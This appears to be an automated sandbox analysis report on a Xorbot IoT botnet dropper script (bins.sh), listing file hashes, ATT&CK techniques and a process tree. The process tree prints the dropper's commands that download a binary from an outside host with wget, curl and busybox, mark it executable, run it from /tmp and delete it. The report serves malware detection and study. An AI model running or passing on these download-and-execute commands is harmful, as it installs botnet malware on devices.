xorbot | 052180cf83663519a84b6600bcf33de2cd382c9ddf58e63f4410406d9bb18dbd

Analysis

max time kernel
139s
max time network
150s
platform
debian-9_mipsel
resource
debian9-mipsel-20240226-en
resource tags

arch:mipselimage:debian9-mipsel-20240226-enkernel:4.9.0-13-4kc-maltalocale:en-usos:debian-9-mipselsystem
submitted
02/12/2024, 07:12

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General

Target

bins.sh
Size

10KB
MD5

0d2c2bba48d2650adc694e38c0ad363a
SHA1

fa930798d5511e7d5bf147b6f4e43bcac6e2d2d3
SHA256

052180cf83663519a84b6600bcf33de2cd382c9ddf58e63f4410406d9bb18dbd
SHA512

509d5fc4d8fe3d00857fa23ca093204655f5670dda7ffb38ccc9361f767985830c9134525a6de4434feb2947d254ea4fc8e0f6546337919ba0833b819ea65739
SSDEEP

192:Fn6ODAYLhaZ52QM0eitMEgGUWq5oAyfXM52QMEeitME8tS5oAyfXJ6ODAYO:Fn6ODAYLhMwQMDGUWgwQMz16ODAYO

Score

10^/10

xorbot botnet defense_evasion discovery trojan

Malware Config

Signatures

Detects Xorbot 1 IoCs

botnet trojan

resource	yara_rule
behavioral4/files/fstream-1.dat	family_xorbot

Xorbot
Xorbot is a linux botnet and trojan targeting IoT devices.
botnet trojan xorbot
Xorbot family
xorbot

File and Directory Permissions Modification 1 TTPs 1 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
819	chmod

Executes dropped EXE 1 IoCs

ioc	pid	Process
/tmp/ogNKg0N25yozLHIpWy5KCPME0eqTyUyEXq	820	ogNKg0N25yozLHIpWy5KCPME0eqTyUyEXq

Reads runtime system information 1 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/sys/crypto/fips_enabled	curl

System Network Configuration Discovery 1 TTPs 6 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
820	ogNKg0N25yozLHIpWy5KCPME0eqTyUyEXq
822	rm
823	wget
716	wget
733	curl
740	busybox

Writes file to tmp directory 2 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/ogNKg0N25yozLHIpWy5KCPME0eqTyUyEXq	wget
File opened for modification	/tmp/ogNKg0N25yozLHIpWy5KCPME0eqTyUyEXq	curl

/tmp/bins.sh
/tmp/bins.sh
1⤵
PID:707
- /bin/rm
  /bin/rm bins.sh
  2⤵
  PID:711
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/ogNKg0N25yozLHIpWy5KCPME0eqTyUyEXq
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:716
- /usr/bin/curl
  curl -O http://conn.masjesu.zip/bins/ogNKg0N25yozLHIpWy5KCPME0eqTyUyEXq
  2⤵
  - Reads runtime system information
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:733
- /bin/busybox
  /bin/busybox wget http://conn.masjesu.zip/bins/ogNKg0N25yozLHIpWy5KCPME0eqTyUyEXq
  2⤵
  - System Network Configuration Discovery
  PID:740
- /bin/chmod
  chmod 777 ogNKg0N25yozLHIpWy5KCPME0eqTyUyEXq
  2⤵
  - File and Directory Permissions Modification
  PID:819
- /tmp/ogNKg0N25yozLHIpWy5KCPME0eqTyUyEXq
  ./ogNKg0N25yozLHIpWy5KCPME0eqTyUyEXq
  2⤵
  - Executes dropped EXE
  - System Network Configuration Discovery
  PID:820
- /bin/rm
  rm ogNKg0N25yozLHIpWy5KCPME0eqTyUyEXq
  2⤵
  - System Network Configuration Discovery
  PID:822
- /usr/bin/wget
  wget http://conn.masjesu.zip/bins/CHxffsNKUjIOsajtCElmZ60kv7SefXTGK8
  2⤵
  - System Network Configuration Discovery
  PID:823

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/ogNKg0N25yozLHIpWy5KCPME0eqTyUyEXq

Filesize
107KB

MD5
eb9c3a0de91fcf16ba17cb24608df68c

SHA1
09d95a7d70d5e115d103be51edff7c498d272fac

SHA256
dd01a1365a9f35501e09e0144ed1d4d8b00dcf20aa66cf6dc186e94d7dbe4b47

SHA512
9e1f3f88f82bb41c68d78b351c8dc8075522d6d42063f798b6ef38a491df7a3bab2c312d536fb0a6333e516d7dc4f5a58b80beb69422a04d1dbc61eaba346e27

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